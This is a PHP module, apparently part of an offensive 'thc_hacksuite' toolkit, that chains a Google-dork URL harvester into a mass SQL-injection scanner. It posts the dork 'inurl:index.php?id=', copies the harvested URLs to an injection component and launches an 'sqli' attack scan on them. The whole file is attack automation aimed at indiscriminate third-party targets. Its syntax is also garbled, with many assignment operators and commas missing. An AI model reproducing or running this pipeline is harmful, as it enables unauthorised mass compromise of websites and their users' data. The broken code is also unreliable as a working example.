<?php
if(!defined('IN_SCRIPT')){
    exit;
}
// properties for this callback
$_CBACKD = array("Mass Inject","massinject.php");
$_CBACKV = array();
$_CBACKV[0] = array();
$_CBACKV[0]['value'] = "http://127.0.0.1/athchs04/thc_hacksuite/thc_do/screen.php";
$_CBACKV[0]['row'] = $_CONTEXT['thc_ss_indexform'][0]['row'];
$_CBACKV[0]['fieldclass'] = $_CONTEXT['thc_ss_indexform'][0]['fieldclass'];
$_CBACKV[0]['visibility'] = 1;
$_CBACKV[1] = array();
$_CBACKV[1]['value'] = "10";
$_CBACKV[1]['row'] = $_CONTEXT['thc_ss_indexform'][1]['row'];
$_CBACKV[1]['fieldclass'] = $_CONTEXT['thc_ss_indexform'][1]['fieldclass'];
$_CBACKV[1]['visibility'] = 1;
$_CBACKV[2] = array();
$_CBACKV[2]['value'] = "foo";
$_CBACKV[2]['row'] = $_CONTEXT['thc_ss_indexform'][4]['row'];
$_CBACKV[2]['fieldclass'] = $_CONTEXT['thc_ss_indexform'][4]['fieldclass'];
$_CBACKV[2]['visibility'] = 1;
$_CBACKV[3] = array();
$_CBACKV[3]['value'] = "post";
$_CBACKV[3]['row'] = $_CONTEXT['thc_ss_indexform'][5]['row'];
$_CBACKV[3]['fieldclass'] = $_CONTEXT['thc_ss_indexform'][5]['fieldclass'];
$_CBACKV[3]['visibility'] = 1;
$_CBACKV[4] = array();
$_CBACKV[4]['value'] = "";
$_CBACKV[4]['row'] = $_CONTEXT['thc_ss_indexform'][9]['row'];
$_CBACKV[4]['fieldclass'] = $_CONTEXT['thc_ss_indexform'][9]['fieldclass'];
$_CBACKV[4]['visibility'] = 1;
$_CBACKV[5] = array();
$_CBACKV[5]['value'] = "sDork=inurl:index.php?id=&iType=1&iAmount=10&iMode=1&iSave=1&submit=Save";
$_CBACKV[5]['row'] = $_CONTEXT['thc_ss_indexform'][10]['row'];
$_CBACKV[5]['fieldclass'] = $_CONTEXT['thc_ss_indexform'][10]['fieldclass'];
$_CBACKV[5]['visibility'] = 1;
if(!isset(
$_GETCBACK)){
    if(!
function_exists("Callbck")){
        function 
Callbck(){
            global 
$_PATHS;
            global 
$_CONTEXT;
            if(!
function_exists("RawToArray")){
                include(
$_PATHS['functions_root']."/raw_to_array.php");
            }
            
/* THC_DO COMMUNICATION */
            // post fields
            
$aData = array();
            
$aData['sDork'] = "sDork=inurl:index.php%3Fid%3D&iType=1&iAmount=10&iMode=1&iSave=1&submit=Save";
            
$aData['iType'] = 1;
            
$aData['iAmount'] = 10;
            
$aData['iMode'] = 1;
            
$aData['iSave'] = 1;
            
$aData['submit'] = "Save";
            
// send request
            
$sUrl "http://127.0.0.1/athchs04/thc_hacksuite/thc_do/screen.php";
            
$ch curl_init($sUrl);
            
curl_setopt($chCURLOPT_POST1);
            
curl_setopt($chCURLOPT_POSTFIELDShttp_build_query($aData));
            
curl_setopt($chCURLOPT_HEADERfalse);
            
curl_setopt($chCURLOPT_RETURNTRANSFERfalse);
            
curl_setopt($chCURLOPT_TIMEOUT10);
            
curl_exec($ch);
            
curl_close($ch);
            
/* THC_DO RESULT POLLING */
            
if(!$aFileData RawToArray($_PATHS['data_root']."/running.txt")){
                
$_CONTEXT['cbackerror'] = "Failed to get task file data";
                return(
"BREAK");
            }
            
// get last entries, we should have at least two tasks: thc_ss and thc_do
            
$iData count($aFileData);
            
$aTaskSS = @$aFileData[($iData-2)];
            
$aTaskDO = @$aFileData[($iData-1)];
            if(!isset(
$aTaskDO[1]) || !isset($aTaskSS[1])){
                
$_CONTEXT['cbackerror'] = "Failed to initialize THC_DO and/or THC_SS session";
                return(
"BREAK");
            }
            
// set the scan result file from THC_DO
            
$sTHCDOResults $_PATHS['root']."/thc_do/RESULTS/".$aTaskDO[1].".txt";
            if(!
file_exists($sTHCDOResults)){
                
$_CONTEXT['cbackerror'] = "THC_DO failed to create ".$aTaskDO[1].".txt";
                return(
"BREAK");
            }
            
// no results
            
if(!filesize($sTHCDOResults)){
                
$_CONTEXT['cbackerror'] = "Scan results file ".$aTaskDO[1].".txt doesn't contain any urls";
                return(
"BREAK");
            }
            
// we have results so copy them to THC_II
            
if(!@copy($sTHCDOResults,$_PATHS['root']."/thc_ii/urls/".$aTaskDO[1].".txt")){
                
$_CONTEXT['cbackerror'] = "Failed to copy scan results to THC_II";
                return(
"BREAK");
            }
            
/* THC_II COMMUNICATION */
            // post fields
            
$aData = array();
            
$aData['iAttackType'] = 1;
            
$aData['sUseFile'] = $aTaskDO[1];
            
$aData['aExploits'] = array("sqli");
            
$aData['submit'] = "Scan";
            
// send request
            
$sUrl "http://127.0.0.1/athchs04/thc_hacksuite/thc_ii/screen.php";
            
$ch curl_init($sUrl);
            
curl_setopt($chCURLOPT_POST1);
            
curl_setopt($chCURLOPT_POSTFIELDS$aData);
            
curl_setopt($chCURLOPT_HEADERfalse);
            
curl_setopt($chCURLOPT_RETURNTRANSFERfalse);
            
curl_setopt($chCURLOPT_TIMEOUT10);
            
curl_exec($ch);
            
curl_close($ch);
            return(
"BREAK");
        }
    }
}
?>